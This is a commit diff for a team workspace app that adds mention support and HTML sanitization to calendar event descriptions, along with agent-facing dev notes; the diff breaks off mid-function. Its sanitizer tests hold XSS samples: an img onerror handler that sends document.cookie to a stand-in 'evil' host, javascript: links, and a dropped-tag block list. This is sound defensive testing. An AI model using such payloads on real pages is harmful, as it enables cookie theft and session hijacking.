Skip to content

armgit / macro

Public Imported from GitHub
0

Macro is a unified workspace for teams: email, chat, docs, tasks, agents, calls, and CRM — @-linked together with shared AI memory.

fix(calendar): support mentions in event descriptions (#6130)

gbirmand63d9e08f907
diff --git a/CLAUDE.md b/CLAUDE.md
index 3f5ecf9e83..fde7257055 100644
--- a/CLAUDE.md
+++ b/CLAUDE.md
@@ -323,6 +323,8 @@ don't inject it directly into the error message.
## Cursor Cloud specific instructions
+These apply to Cursor Cloud only. On a local dev machine the `.cursor/*.sh` scripts prompt for sudo and are the wrong entry point: to verify a frontend change, run `PORT=<free port> bun run dev` from `apps/web` against the dev backend (see `apps/web/AGENTS.md`), and only reach for the local stack for backend work.
+
`.cursor/install.sh` prepares the durable caches, databases, test dependencies, frontend dependencies, service binaries, and stack init snapshot, then stops dockerd and nix-daemon so the Cloud bake can exit. `.cursor/start.sh` runs at boot and starts nothing beyond the nix daemon, so sessions and subagents are usable immediately. `.cursor/infra.sh` starts Docker, Postgres, and Redis on demand. `.cursor/stack.sh` starts the on-demand product: backend containers behind the proxy (8090) plus the hot-reloading frontend dev server — the app is at http://localhost:3000/app and frontend edits apply on save (idempotent; a healthy stack is left alone). `.cursor/rebuild.sh` remounts new backend binaries after Rust edits. These scripts are the only supported entry points; each re-enters the pinned nix shell itself, so run them with plain `bash` from any environment. To run the app and see your edits, follow the `run-app` skill (`.claude/skills/run-app/SKILL.md`).
Nix is the only host dependency. The pinned dev shell supplies the Docker CLI and daemon, Compose, `fuse-overlayfs`, and OpenSSH. `ssh-keygen` must come from this shell.
diff --git a/apps/web/AGENTS.md b/apps/web/AGENTS.md
index ad1084d95c..687c3b7790 100644
--- a/apps/web/AGENTS.md
+++ b/apps/web/AGENTS.md
@@ -7,6 +7,44 @@
- `bun run knip`: to check for dead code
- Email rendering snapshots (Playwright HTML fixtures, not inbox e2e) live in `src/lib/core/email/tests`. Run `just test-email-rendering`. Add a fixture under `fixtures/` then `just test-email-rendering-update`.
+## Verifying a change in a real browser
+
+Any user-visible change should be exercised in a browser before you call it fixed — type-check, biome, and vitest all pass on code that still has the interaction bug.
+
+A frontend dev server runs against the **dev** backend, so this needs no local stack, Docker, Rust build, or `sudo`:
+
+```sh
+cd apps/web && PORT=3003 bun run dev # any free port in 3000-3009
+```
+
+`import.meta.env.MODE === 'development'` resolves the service clients to `https://dev.macro.com` and the browser's existing dev cookies authenticate, so `http://localhost:<port>/app` loads the real workspace. Notes:
+
+- Never assume port 3000 or 3002 is yours. Check with `lsof -nP -iTCP:<port> -sTCP:LISTEN -t` and confirm the owner's worktree via `lsof -p <pid> | awk '$4=="cwd"'`. Take a free port instead of killing another session's server, and reuse one only if its cwd is this worktree.
+- The `.cursor/*.sh` scripts and the `run-app` skill are **Cursor Cloud** entry points. On a local machine they prompt for sudo and are the wrong tool. Only backend (Rust) changes need the local stack.
+- First run in a fresh worktree spends a few minutes on `just ensure-cache-wasm` / `just ensure-agent-fold-wasm` before Vite serves.
+- That tab is pointed at **real dev data**. Treat creates, edits, and deletes as real, and discard drafts you open.
+
+### Instrumenting a flash, blank, or remount
+
+A screenshot cannot distinguish a repaint from a remount, and automated browser tabs usually run with `document.visibilityState === 'hidden'`, where `requestAnimationFrame` never fires — do not sample per frame. Tag the nodes you care about and let a `MutationObserver` record every change to a summary string:
+
+```js
+window.__inst = { log: [], seq: 0 };
+const I = window.__inst;
+const tag = (el) => (el.dataset.instId ||= String(++I.seq));
+const snap = () => [...document.querySelectorAll('.fc')].map(tag).join(',');
+I.last = snap();
+new MutationObserver(() => {
+ const s = snap();
+ if (s !== I.last) {
+ I.log.push({ t: Math.round(performance.now()), from: I.last, to: s });
+ I.last = s;
+ }
+}).observe(document.body, { childList: true, subtree: true });
+```
+
+Then trigger the interaction and read `window.__inst.log`. `'1,2,3' → '' → '1,2,3'` (the same ids coming back) is a `<Suspense>` detach and re-attach. Fresh ids are a true remount. Nothing at all means the subtree never moved and the cause is elsewhere. Re-running the same interaction a second time is the cheapest way to prove a cold-cache cause: a once-per-session query settles after the first attempt, so the second attempt stays clean.
+
## Development Patterns
### General
@@ -19,6 +57,7 @@
- Prefer wrapping the setter over `createEffect(() => { if (signal()) sideEffect() })`. When setting focus/selection should also clear another stop, blur a control, or scroll, put that work in the setter (or a named helper the setter calls) so the action is explicit at the call site — not a distant effect watching the signal.
- Use createMemo only when you need referential stability or the derivation is expensive. Cheap derivations (() => a() + b()) don't need it regardless of subscriber count.
- Before rolling your own reactive utility, check solid-primitives first.
+- Never read a solid-query `query.data` unguarded from a component body or an eager `createMemo`. `data` is a resource read: while the query is pending it suspends the caller's nearest `<Suspense>`, which detaches and re-attaches that whole subtree — a blank flash, lost scroll position, remounted editors. Gate the read on status (`query.isSuccess ? query.data : fallback`, or check `isPending`/`isLoading` first); every other field is a plain store read and is safe. Remember `createMemo` runs immediately, so a guard inside a `<Show>`/`<Match>` further down does not save you. This has blanked the calendar grid twice — see `focusTarget` in `src/features/block-calendar/CalendarBlockAdapter.tsx` and `useSystemSkillsQuery`.
## UI / Components
- Prefer composition over configurability. Follow slot-based patterns (see src/features/channel, src/features/entity, or Kobalte).
diff --git a/apps/web/src/features/block-email/util/prepareEmailBody.ts b/apps/web/src/features/block-email/util/prepareEmailBody.ts
index 751cbc83f1..9a7a122b8e 100644
--- a/apps/web/src/features/block-email/util/prepareEmailBody.ts
+++ b/apps/web/src/features/block-email/util/prepareEmailBody.ts
@@ -1,15 +1,16 @@
+import { convertDocumentMentionsToLinks } from '@core/component/LexicalMarkdown/utils/convertDocumentMentionsToLinks';
import { scrubActiveContent } from '@core/email';
import { formatEmailDate } from '@core/util/date';
import { $generateHtmlFromNodes, $generateNodesFromDOM } from '@lexical/html';
import { $createQuoteNode } from '@lexical/rich-text';
import { $dfsIterator } from '@lexical/utils';
+import type { DocumentMentionInfo } from '@macro-inc/lexical-core';
import {
$createClassedBlockNode,
$createDocumentMentionNode,
$createHtmlRenderNode,
$isClassedBlockNode,
type ClassedBlockNode,
- type DocumentMentionInfo,
} from '@macro-inc/lexical-core';
import type { ApiMessage } from '@service-email/generated/schemas';
import {
@@ -375,58 +376,6 @@ function getAppendedReplyElement(
return wrapper;
}
-function convertMentionsToLinks(root: ParentNode) {
- const mentionElements = root.querySelectorAll<HTMLElement>(
- '[data-document-mention="true"]'
- );
- let mentions: DocumentMentionInfo[] = [];
- mentionElements.forEach((el) => {
- const mention: DocumentMentionInfo = {
- documentId: el.getAttribute('data-document-id') || '',
- documentName: el.getAttribute('data-document-name') || '',
- blockName: el.getAttribute('data-block-name') || '',
- blockParams: el.getAttribute('data-block-params')
- ? JSON.parse(el.getAttribute('data-block-params') || '{}')
- : undefined,
- mentionUuid: el.getAttribute('data-mention-uuid') || undefined,
- collapsed: el.getAttribute('data-collapsed')
- ? Boolean(el.getAttribute('data-collapsed'))
- : undefined,
- channelType: el.getAttribute('data-channel-type') || undefined,
- };
- if (!mention.documentId || !mention.documentName || !mention.blockName)
- return;
- const href =
- window.location.origin +
- '/app/' +
- mention.blockName +
- '/' +
- mention.documentId;
- const link = document.createElement('a');
- link.href = href;
- link.textContent = mention.documentName;
- // Preserve mention data attributes so importDOM() can recreate Lexical nodes
- link.setAttribute('data-document-mention', 'true');
- link.setAttribute('data-document-id', mention.documentId);
- link.setAttribute('data-document-name', mention.documentName);
- link.setAttribute('data-block-name', mention.blockName);
- if (mention.blockParams)
- link.setAttribute(
- 'data-block-params',
- JSON.stringify(mention.blockParams)
- );
- if (mention.mentionUuid)
- link.setAttribute('data-mention-uuid', mention.mentionUuid);
- if (mention.collapsed)
- link.setAttribute('data-collapsed', mention.collapsed.toString());
- if (mention.channelType)
- link.setAttribute('data-channel-type', mention.channelType);
- el.replaceWith(link);
- mentions.push(mention);
- });
- return mentions;
-}
-
function applyMediaScale(container: Element) {
const mediaElements = container.querySelectorAll<HTMLElement>(
'img[data-scale], video[data-scale]'
@@ -487,7 +436,7 @@ export function prepareEmailBodyFromHtml(
applyMediaScale(parsed.body);
// Convert Macro document mentions to HTML links in the parsed DOM
- const mentions = convertMentionsToLinks(parsed.body);
+ const mentions = convertDocumentMentionsToLinks(parsed.body);
// HtmlRenderNode exports as declarative shadow DOM; email clients and the
// backend sanitizer drop template content, so inline it
diff --git a/apps/web/src/features/calendar/components/EventDetails.tsx b/apps/web/src/features/calendar/components/EventDetails.tsx
index f15e7dbfaf..c92fa271ca 100644
--- a/apps/web/src/features/calendar/components/EventDetails.tsx
+++ b/apps/web/src/features/calendar/components/EventDetails.tsx
@@ -1,3 +1,4 @@
+import { openDocument } from '@core/component/LexicalMarkdown/component/core/BlockLink';
import { UserIcon, type UserIconProps } from '@core/component/UserIcon';
import { ScrollIndicators } from '@core/component/VerticalScrollIndicators';
import {
@@ -25,6 +26,7 @@ import XIcon from '@phosphor/x.svg';
import type { AttendeeResponseStatus } from '@service-storage/generated/schemas/attendeeResponseStatus';
import type { CalendarAttendee } from '@service-storage/generated/schemas/calendarAttendee';
import type { EventReminderOverride } from '@service-storage/generated/schemas/eventReminderOverride';
+import { createCallback } from '@solid-primitives/rootless';
import { Avatar, Button, cn } from '@ui';
import {
type Accessor,
@@ -37,6 +39,10 @@ import {
import { Dynamic } from 'solid-js/web';
import type { CalendarEvent, CalendarTimeFormat } from '../types';
import { isSameLocalDate, parseLocalDate } from '../utils/calendar-date';
+import {
+ parseMacroAppLink,
+ sanitizeCalendarDescription,
+} from '../utils/calendar-description';
import {
type CalendarPerson,
eventAttribution,
@@ -500,6 +506,20 @@ export function EventDetails(props: {
const originalTimeZone = createMemo(() =>
formatOriginalTimeZone(props.event, props.timeFormat)
);
+ const descriptionHtml = createMemo(() =>
+ sanitizeCalendarDescription(props.event.description ?? '')
+ );
+ const openDescriptionLink = createCallback((event: MouseEvent) => {
+ const anchor = (event.target as Element | null)?.closest('a[href]');
+ if (!(anchor instanceof HTMLAnchorElement)) return;
+ event.preventDefault();
+ const target = parseMacroAppLink(anchor.href);
+ if (target) {
+ openDocument(target.blockName, target.documentId);
+ return;
+ }
+ openExternalUrl(anchor.href);
+ });
const recurrenceDescription = createMemo(() => {
const description = formatRecurrenceDescription(
props.event.recurrenceLines
@@ -569,13 +589,15 @@ export function EventDetails(props: {
{(location) => <EventLocationItem location={location()} />}
</Show>
- <Show when={props.event.description}>
- {(description) => (
+ <Show when={descriptionHtml()}>
+ {(html) => (
<div class="contents">
<TextAlignLeftIcon class="mt-0.5 size-5 text-ink-extra-muted sm:size-4" />
- <p class="select-text leading-relaxed text-ink-muted">
- {description()}
- </p>
+ <div
+ class="select-text leading-relaxed text-ink-muted [&_a]:text-accent [&_a]:underline [&_ol]:list-decimal [&_ol]:pl-4 [&_p+p]:mt-1 [&_ul]:list-disc [&_ul]:pl-4"
+ innerHTML={html()}
+ onClick={openDescriptionLink}
+ />
</div>
)}
</Show>
diff --git a/apps/web/src/features/calendar/components/composer/EventForm.tsx b/apps/web/src/features/calendar/components/composer/EventForm.tsx
index 50be77b886..972e51f625 100644
--- a/apps/web/src/features/calendar/components/composer/EventForm.tsx
+++ b/apps/web/src/features/calendar/components/composer/EventForm.tsx
@@ -1,6 +1,11 @@
+import { MarkdownTextarea } from '@core/component/LexicalMarkdown/component/core/MarkdownTextarea';
import SpinnerIcon from '@phosphor/spinner.svg';
import { Button, cn, Layer } from '@ui';
import { createEffect, createUniqueId, Show } from 'solid-js';
+import {
+ calendarDescriptionToEditorHtml,
+ exportCalendarDescription,
+} from '../../utils/calendar-description';
import type { CalendarEventFormController } from './create-calendar-event-form-controller';
import { EventDateTimeRangeFields } from './EventDateTimeRangeFields';
import {
@@ -57,6 +62,13 @@ export function EventForm(props: EventFormProps) {
const fieldIsDisabled = (field: keyof EventEditorDisabledFields) =>
formIsDisabled() || fieldIsReadOnly(field);
+ // The editor cannot hand the provider's string back: Lexical re-serializes
+ // whatever it loads. Only content that exports differently from what was
+ // loaded counts as an edit, so an untouched description stays byte-for-byte
+ // what the event was opened with.
+ const initialDescription = state().description;
+ let loadedDescription: string | undefined;
+
createEffect(() => {
const option = controller.selectedCalendarOption();
if (option) props.onCalendarChange?.(option.id, option.color);
@@ -134,24 +146,30 @@ export function EventForm(props: EventFormProps) {
class="h-9 w-full bg-transparent px-2 text-lg font-semibold leading-snug text-ink outline-none placeholder:text-ink-placeholder"
/>
- <div class="h-12">
- <textarea
- value={state().description}
- onInput={(event) =>
+ <div class="h-12 overflow-y-auto">
+ <MarkdownTextarea
+ type="calendar"
+ initialHtml={calendarDescriptionToEditorHtml(
+ initialDescription
+ )}
+ editable={() => !fieldIsDisabled('description')}
+ onInitialized={(editor) => {
+ loadedDescription = exportCalendarDescription(editor);
+ }}
+ onChange={(_markdown, editor) => {
+ if (!editor) return;
+ const next = exportCalendarDescription(editor);
controller.setField(
'description',
- event.currentTarget.value.replaceAll(/[\r\n]+/g, ' ')
- )
- }
- onKeyDown={(event) => {
- if (event.key === 'Enter') event.preventDefault();
+ next === loadedDescription ? initialDescription : next
+ );
}}
placeholder="Add description..."
- aria-label="Description"
- rows={1}
- wrap="off"
- disabled={fieldIsDisabled('description')}
- class="h-full w-full resize-none overflow-x-auto bg-transparent px-2 text-sm text-ink outline-none placeholder:text-ink-placeholder"
+ portalScope="local"
+ domRef={(element) =>
+ element.setAttribute('aria-label', 'Description')
+ }
+ class="h-full w-full bg-transparent px-2 text-sm text-ink outline-none"
/>
</div>
</div>
diff --git a/apps/web/src/features/calendar/utils/calendar-description.test.ts b/apps/web/src/features/calendar/utils/calendar-description.test.ts
new file mode 100644
index 0000000000..4971981dfa
--- /dev/null
+++ b/apps/web/src/features/calendar/utils/calendar-description.test.ts
@@ -0,0 +1,183 @@
+// @vitest-environment jsdom
+import { setEditorStateFromHtml } from '@core/component/LexicalMarkdown/utils';
+import { HtmlRenderNode, RegisteredNodesByType } from '@macro-inc/lexical-core';
+import { createEditor } from 'lexical';
+import { describe, expect, it, vi } from 'vitest';
+import {
+ calendarDescriptionToEditorHtml,
+ exportCalendarDescription,
+ parseMacroAppLink,
+ sanitizeCalendarDescription,
+} from './calendar-description';
+
+// The editor utilities pull in the plugin barrel, whose leaves open the
+// storage and connection-gateway sockets on import.
+vi.mock('@service-storage/websocket', () => ({
+ storageWS: { reconnectIfDisconnected: vi.fn() },
+ createWebSocketJob: vi.fn(),
+}));
+vi.mock('@service-connection/websocket', () => ({
+ ws: { addEventListener: vi.fn(), send: vi.fn() },
+ state: () => 'closed',
+ createConnectionBlockWebsocketEffect: vi.fn(),
+ createConnectionWebsocketEffect: vi.fn(),
+}));
+
+const DOCUMENT_ID = '60617ec4-4c58-4e8b-90c6-445aa3172713';
+
+function makeEditor() {
+ return createEditor({
+ nodes: RegisteredNodesByType.calendar,
+ onError: (error) => {
+ throw error;
+ },
+ });
+}
+
+describe('sanitizeCalendarDescription', () => {
+ it('keeps plain provider text readable, line breaks included', () => {
+ expect(sanitizeCalendarDescription('Sync with the design team')).toBe(
+ '<p>Sync with the design team</p>'
+ );
+ expect(sanitizeCalendarDescription('line one\nline two')).toBe(
+ '<p>line one<br>line two</p>'
+ );
+ expect(sanitizeCalendarDescription(' ')).toBe('');
+ });
+
+ it('keeps angle brackets in plain text as text', () => {
+ const safe = sanitizeCalendarDescription(
+ 'Send the agenda to <[email protected]>\nOwner: <TBD>'
+ );
+ expect(safe).toBe(
+ '<p>Send the agenda to &lt;[email protected]&gt;<br>Owner: &lt;TBD&gt;</p>'
+ );
+ // Already-safe output must not change on the next pass.
+ expect(sanitizeCalendarDescription(safe)).toBe(safe);
+ });
+
+ it('decodes provider-escaped entities in plain text', () => {
+ expect(sanitizeCalendarDescription('Tom &amp; Jerry &lt;3')).toBe(
+ '<p>Tom &amp; Jerry &lt;3</p>'
+ );
+ });
+
+ it('reduces provider html to the portable subset', () => {
+ expect(
+ sanitizeCalendarDescription(
+ 'Agenda:<br>- one<br><a href="https://example.com/notes" target="_blank" style="color:red">notes</a>'
+ )
+ ).toBe(
+ '<p>Agenda:<br>- one<br><a href="https://example.com/notes">notes</a></p>'
+ );
+ expect(
+ sanitizeCalendarDescription(
+ '<div>first</div><div><b>second</b></div><ul><li>item</li></ul>'
+ )
+ ).toBe('<p>first</p><p><b>second</b></p><ul><li>item</li></ul>');
+ });
+
+ it("strips the editor's own theme classes and styles", () => {
+ expect(
+ sanitizeCalendarDescription(
+ '<p class="my-4 first:mt-1.5 md-p" dir="ltr"><span style="white-space: pre-wrap;">hello</span></p>'
+ )
+ ).toBe('<p>hello</p>');
+ });
+
+ it('removes html-render markers and active content', () => {
+ const hostile =
+ '<div class="macro_html_render" data-html-render="true"><img src="x" onerror="fetch(\'//evil/\'+document.cookie)"><template shadowrootmode="open"><script>1</script></template></div><p onclick="steal()">hi</p>';
+ const safe = sanitizeCalendarDescription(hostile);
+ expect(safe).toBe('<p>hi</p>');
+ expect(safe).not.toMatch(
+ /onerror|onclick|img|script|html_render|html-render/
+ );
+ });
+
+ it('drops links with unsafe schemes but keeps their text', () => {
+ expect(
+ sanitizeCalendarDescription(
+ '<p><a href="javascript:alert(1)">click</a> <a href=" java\nscript:alert(1)">me</a></p>'
+ )
+ ).toBe('<p>click me</p>');
+ });
+
+ it('keeps mention display text without identity attributes', () => {
+ const safe = sanitizeCalendarDescription(
+ '<p>ping <span data-user-mention="true" data-user-id="macro|auth0|u_123" data-email="[email protected]" data-display-name="Teo Nys">Teo Nys</span>' +
+ ' re <span data-contact-mention="true" data-contact-id="c_456" data-email-or-domain="glycotech.com" data-is-company="true">GlycoTech</span></p>'
+ );
+ expect(safe).toBe('<p>ping Teo Nys re GlycoTech</p>');
+ });
+});
+
+describe('calendarDescriptionToEditorHtml', () => {
+ it('marks Macro links so the editor rehydrates mention pills', () => {
+ const html = calendarDescriptionToEditorHtml(
+ `<p>Review <a href="${window.location.origin}/app/md/${DOCUMENT_ID}">August Cycle Planning</a> and <a href="https://example.com/x">the brief</a></p>`
+ );
+ const body = new DOMParser().parseFromString(html, 'text/html').body;
+ const [mention, external] = Array.from(body.querySelectorAll('a'));
+ expect(mention.getAttribute('data-document-mention')).toBe('true');
+ expect(mention.getAttribute('data-document-id')).toBe(DOCUMENT_ID);
+ expect(mention.getAttribute('data-block-name')).toBe('md');
+ expect(mention.getAttribute('data-document-name')).toBe(
+ 'August Cycle Planning'
+ );
+ expect(external.hasAttribute('data-document-mention')).toBe(false);
+ });
+
+ it('only recognizes app links on Macro origins', () => {
+ expect(
+ parseMacroAppLink(`https://evil.example/app/md/${DOCUMENT_ID}`)
+ ).toBeUndefined();
+ expect(
+ parseMacroAppLink(`https://macro.com/app/task/${DOCUMENT_ID}`)
+ ).toEqual({ blockName: 'task', documentId: DOCUMENT_ID });
+ expect(parseMacroAppLink('not a url')).toBeUndefined();
+ });
+});
+
+describe('exportCalendarDescription', () => {
+ it('exports an empty editor as an empty description', () => {
+ const editor = makeEditor();
+ setEditorStateFromHtml(editor, '<p></p>');
+ expect(exportCalendarDescription(editor)).toBe('');
+ });
+
+ it('exports portable html with mentions reduced to text and links', () => {
+ const editor = makeEditor();
+ setEditorStateFromHtml(
+ editor,
+ `<p>ping <span data-user-mention="true" data-user-id="macro|auth0|u_123" data-email="[email protected]" data-display-name="Teo Nys">Teo Nys</span>` +
+ ` about <span data-document-mention="true" data-document-id="${DOCUMENT_ID}" data-document-name="August Cycle Planning" data-block-name="md">August Cycle Planning</span></p>`
+ );
+ expect(exportCalendarDescription(editor)).toBe(
+ `<p>ping Teo Nys about <a href="${window.location.origin}/app/md/${DOCUMENT_ID}">August Cycle Planning</a></p>`
+ );
+ });
+
+ it('is stable across a load and export round trip', () => {
+ const stored = `<p>Agenda:<br>- one</p><ul><li>item <a href="${window.location.origin}/app/md/${DOCUMENT_ID}">Plan</a></li></ul>`;
+ const first = makeEditor();
+ setEditorStateFromHtml(first, calendarDescriptionToEditorHtml(stored));
+ const exported = exportCalendarDescription(first);
+
+ const second = makeEditor();
+ setEditorStateFromHtml(second, calendarDescriptionToEditorHtml(exported));
+ expect(exportCalendarDescription(second)).toBe(exported);
+ });
+
+ it('never carries a raw-html node', () => {
+ expect(RegisteredNodesByType.calendar).not.toContain(HtmlRenderNode);
+ const editor = makeEditor();
+ setEditorStateFromHtml(
+ editor,
+ calendarDescriptionToEditorHtml(
+ '<div class="macro_html_render"><img src="x" onerror="1"></div><p>safe</p>'
+ )
+ );
+ expect(exportCalendarDescription(editor)).toBe('<p>safe</p>');
+ });
+});
diff --git a/apps/web/src/features/calendar/utils/calendar-description.ts b/apps/web/src/features/calendar/utils/calendar-description.ts
new file mode 100644
index 0000000000..fb914a9cf4
--- /dev/null
+++ b/apps/web/src/features/calendar/utils/calendar-description.ts
@@ -0,0 +1,359 @@
+import { editorIsEmpty } from '@core/component/LexicalMarkdown/utils';
+import { convertDocumentMentionsToLinks } from '@core/component/LexicalMarkdown/utils/convertDocumentMentionsToLinks';
+import { getWebOrigin } from '@core/util/webOrigin';
+import { $generateHtmlFromNodes } from '@lexical/html';
+import type { LexicalEditor } from 'lexical';
+
+/**
+ * Formatting a description keeps across the provider boundary. Anything the
+ * editor or a provider adds beyond this — classes, inline styles, mention
+ * data attributes, media, scripts — is dropped, so the stored string is
+ * portable HTML that carries no reader or author identities.
+ */
+const KEPT_TAGS = new Set([
+ 'p',
+ 'br',
+ 'a',
+ 'b',
+ 'strong',
+ 'i',
+ 'em',
+ 'u',
+ 's',
+ 'ul',
+ 'ol',
+ 'li',
+]);
+const INLINE_TAGS = new Set(['a', 'b', 'strong', 'i', 'em', 'u', 's', 'br']);
+const LIST_TAGS = new Set(['ul', 'ol']);
+/** Containers whose line structure is worth keeping as a paragraph. */
+const PARAGRAPH_LIKE_TAGS = new Set([
+ 'div',
+ 'h1',
+ 'h2',
+ 'h3',
+ 'h4',
+ 'h5',
+ 'h6',
+ 'pre',
+ 'blockquote',
+ 'address',
+ 'section',
+ 'article',
+ 'header',
+ 'footer',
+ 'figure',
+ 'figcaption',
+ 'tr',
+ 'dt',
+ 'dd',
+ 'summary',
+ 'details',
+]);
+/** Removed together with their content. */
+const DROPPED_TAGS = new Set([
+ 'script',
+ 'style',
+ 'iframe',
+ 'frame',
+ 'frameset',
+ 'object',
+ 'embed',
+ 'applet',
+ 'base',
+ 'meta',
+ 'link',
+ 'noscript',
+ 'template',
+ 'svg',
+ 'math',
+ 'head',
+ 'title',
+ 'textarea',
+ 'select',
+ 'option',
+ 'input',
+ 'button',
+ 'form',
+ 'img',
+ 'picture',
+ 'source',
+ 'video',
+ 'audio',
+ 'canvas',
+]);
+const LINK_SCHEMES = new Set(['http:', 'https:', 'mailto:', 'tel:']);
+
+/**
+ * A tag a description would only contain if it were authored as HTML. Plain
+ * text legitimately holds angle brackets — `<[email protected]>`, `<TBD>` — so
+ * "looks like a tag" is not enough to treat the whole string as markup.
+ */
+const HTML_TAG_PATTERN =
+ /<(?:!--|\/?(?:a|abbr|b|big|blockquote|body|br|center|cite|code|dd|del|details|div|dl|dt|em|figure|font|h[1-6]|head|hr|html|i|iframe|img|ins|li|link|meta|ol|p|pre|s|script|section|small|span|strike|strong|style|sub|summary|sup|table|tbody|td|template|tfoot|th|thead|title|tr|tt|u|ul)(?=[\s/>]))/i;
+
+function parseHtml(html: string): Document {
+ return new DOMParser().parseFromString(html, 'text/html');
+}
+
+/**
+ * Plain text is still parsed as HTML so provider-escaped entities decode, but
+ * its angle brackets are literal characters, never tags.
+ */
+function parsePlainText(text: string): Document {
+ return parseHtml(text.replace(/</g, '&lt;').replace(/>/g, '&gt;'));
+}
+
+function safeHref(value: string | null): string | undefined {
+ if (!value) return undefined;
+ // Browsers tolerate whitespace and control characters inside a scheme
+ // ("java\nscript:"), so strip them before parsing.
+ const compact = Array.from(value)
+ .filter((char) => char.charCodeAt(0) > 0x20)
+ .join('');
+ try {
+ const url = new URL(compact);
+ return LINK_SCHEMES.has(url.protocol) ? url.href : undefined;
+ } catch {
+ return undefined;
+ }
+}
+
+function unwrap(element: Element) {
+ element.replaceWith(...Array.from(element.childNodes));
+}
+
+function isBlock(node: Node): boolean {
+ return (
+ node.nodeType === Node.ELEMENT_NODE &&
+ !INLINE_TAGS.has((node as Element).localName)
+ );
+}
+
+/** A paragraph left with nothing in it. `<p><br></p>` is a deliberate blank line and stays. */
+function isEmptyParagraph(element: Element): boolean {
+ return (
+ element.localName === 'p' &&
+ element.firstElementChild === null &&
+ (element.textContent ?? '').trim() === ''
+ );
+}
+
+function replaceWithParagraph(element: Element) {
+ const paragraph = element.ownerDocument.createElement('p');
+ paragraph.append(...Array.from(element.childNodes));
+ if (isEmptyParagraph(paragraph)) {
+ element.remove();
+ return;
+ }
+ element.replaceWith(paragraph);
+}
+
+/** Convert newlines in text nodes to `<br>` for descriptions stored as plain text. */
+function breakLines(parent: Node) {
+ const doc = parent.ownerDocument;
+ if (!doc) return;
+ const walker = doc.createTreeWalker(parent, NodeFilter.SHOW_TEXT);
+ const textNodes: Text[] = [];
+ for (let node = walker.nextNode(); node; node = walker.nextNode()) {
+ if ((node.textContent ?? '').includes('\n')) textNodes.push(node as Text);
+ }
+ for (const textNode of textNodes) {
+ const lines = (textNode.textContent ?? '').split('\n');
+ const replacement: Node[] = [];
+ lines.forEach((line, index) => {
+ if (index > 0) replacement.push(doc.createElement('br'));
+ if (line) replacement.push(doc.createTextNode(line));
+ });
+ textNode.replaceWith(...replacement);
+ }
+}
+
+/** Lists may only hold list items, and list items only live inside lists. */
+function normalizeList(list: Element) {
+ const doc = list.ownerDocument;
+ let orphanItem: Element | undefined;
+ for (const child of Array.from(list.childNodes)) {
+ if (child.nodeType === Node.ELEMENT_NODE) {
+ const element = child as Element;
+ if (element.localName === 'li') {
+ orphanItem = undefined;
+ continue;
+ }
+ if (LIST_TAGS.has(element.localName)) {
+ // A nested list belongs to the preceding item.
+ const previous = element.previousElementSibling;
+ if (previous?.localName === 'li') {
+ previous.appendChild(element);
+ continue;
+ }
+ }
+ } else if ((child.textContent ?? '').trim() === '') {
+ child.remove();
+ continue;
+ }
+ if (!orphanItem) {
+ orphanItem = doc.createElement('li');
+ list.insertBefore(orphanItem, child);
+ }
+ orphanItem.appendChild(child);
+ }
+}
+
+function sanitizeChildren(parent: Element) {
+ for (const child of Array.from(parent.childNodes)) {
+ if (child.nodeType === Node.TEXT_NODE) continue;
+ if (child.nodeType !== Node.ELEMENT_NODE) {
+ child.remove();
+ continue;
+ }
+ const element = child as Element;
+ const tag = element.localName;
+ if (DROPPED_TAGS.has(tag)) {
+ element.remove();
+ continue;
+ }
+ sanitizeChildren(element);
+
+ if (KEPT_TAGS.has(tag)) {
+ const href = tag === 'a' ? safeHref(element.getAttribute('href')) : null;
+ for (const name of element.getAttributeNames()) {
+ element.removeAttribute(name);
+ }
+ if (tag === 'a') {
+ if (!href) {
+ unwrap(element);
+ continue;
+ }
+ element.setAttribute('href', href);
+ }
+ if (tag === 'li' && !LIST_TAGS.has(parent.localName)) {
+ replaceWithParagraph(element);
+ continue;
+ }
+ if (tag === 'p' && isEmptyParagraph(element)) {
+ element.remove();
+ continue;
+ }
+ if (LIST_TAGS.has(tag)) normalizeList(element);
+ continue;
+ }
+
+ if (
+ PARAGRAPH_LIKE_TAGS.has(tag) &&
+ !Array.from(element.childNodes).some(isBlock)
+ ) {
+ replaceWithParagraph(element);
+ continue;
+ }
+ unwrap(element);
+ }
+}
+
+/** Gather top-level runs of text and inline elements into paragraphs. */
+function wrapInlineRuns(parent: Element) {
+ const doc = parent.ownerDocument;
+ let run: Node[] = [];
+ const flush = () => {
+ if (run.length === 0) return;
+ const hasContent = run.some((node) =>
+ node.nodeType === Node.ELEMENT_NODE
+ ? (node as Element).localName !== 'br'
+ : (node.textContent ?? '').trim() !== ''
+ );
+ if (hasContent) {
+ const paragraph = doc.createElement('p');
+ parent.insertBefore(paragraph, run[0]);
+ paragraph.append(...run);
+ } else {
+ for (const node of run) node.parentNode?.removeChild(node);
+ }
+ run = [];
+ };
+ for (const child of Array.from(parent.childNodes)) {
+ if (isBlock(child)) {
+ flush();
+ continue;
+ }
+ run.push(child);
+ }
+ flush();
+}
+
+function sanitizeDocument(doc: Document, plainText: boolean) {
+ if (plainText) breakLines(doc.body);
+ sanitizeChildren(doc.body);
+ wrapInlineRuns(doc.body);
+}
+
+/**
+ * Reduce a stored description — provider text, provider HTML, or this
+ * editor's own output — to the portable subset. A description without any
+ * HTML tag is plain text: its angle brackets are kept as text and its line
+ * breaks become `<br>`.
+ *
+ * Safe to render with `innerHTML`: active elements, event handlers, and
+ * non-http(s)/mailto/tel links never survive.
+ */
+export function sanitizeCalendarDescription(raw: string): string {
+ if (raw.trim() === '') return '';
+ const plainText = !HTML_TAG_PATTERN.test(raw);
+ const doc = plainText ? parsePlainText(raw) : parseHtml(raw);
+ sanitizeDocument(doc, plainText);
+ return doc.body.innerHTML;
+}
+
+const APP_LINK_PATTERN = /^\/app\/([a-z0-9_-]+)\/([A-Za-z0-9_-]+)\/?$/i;
+
+/** Which Macro entity an `/app/<block>/<id>` link opens, if it is one. */
+export function parseMacroAppLink(
+ href: string
+): { blockName: string; documentId: string } | undefined {
+ let url: URL;
+ try {
+ url = new URL(href);
+ } catch {
+ return undefined;
+ }
+ const origins = new Set([
+ window.location.origin,
+ getWebOrigin(),
+ 'https://macro.com',
+ ]);
+ if (!origins.has(url.origin)) return undefined;
+ const match = APP_LINK_PATTERN.exec(url.pathname);
+ if (!match) return undefined;
+ return { blockName: match[1], documentId: match[2] };
+}
+
+/**
+ * The HTML to seed the description editor with. Links to Macro entities are
+ * marked so the editor rehydrates them as mention pills.
+ */
+export function calendarDescriptionToEditorHtml(raw: string): string {
+ const safe = sanitizeCalendarDescription(raw);
